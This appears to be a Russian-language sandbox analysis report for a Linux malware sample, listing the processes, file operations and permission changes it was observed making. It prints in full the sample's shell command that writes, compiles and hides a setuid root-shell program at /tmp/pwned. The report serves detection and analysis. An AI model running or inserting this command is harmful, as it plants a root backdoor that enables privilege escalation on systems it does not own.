Техническая информация
Вредоносные функции:
Компилирует программу из исходных кодов:
- gcc /tmp/pwned.c -o /tmp/pwned
Запускает процессы:
- sh -c echo \"main(){setuid(0);setgid(0);system(\\"/bin/sh\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c
- rm -f /tmp/pwned.c
Завершает следующие процессы:
- <SAMPLE>
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /tmp/pwned
Создает или модифицирует файлы:
- /tmp/pwned.c
- /root/core
- /tmp/cc7uBqe0.s
- /tmp/ccFSgAU5.o
- /tmp/ccoglqkc.res
- /tmp/ccd9JYwx.c
- /tmp/ccpnYvdE.o
- /tmp/cctzFhUK.ld
- /tmp/ccDymsBR.le
- /tmp/pwned
Удаляет файлы:
- /tmp/pwned.c
- /root/core
- /tmp/cctzFhUK.ld
- /tmp/ccDymsBR.le
- /tmp/ccd9JYwx.c
- /tmp/ccpnYvdE.o
- /tmp/ccoglqkc.res
- /tmp/ccFSgAU5.o
- /tmp/cc7uBqe0.s
Прочее:
Собирает информацию об оперативной памяти
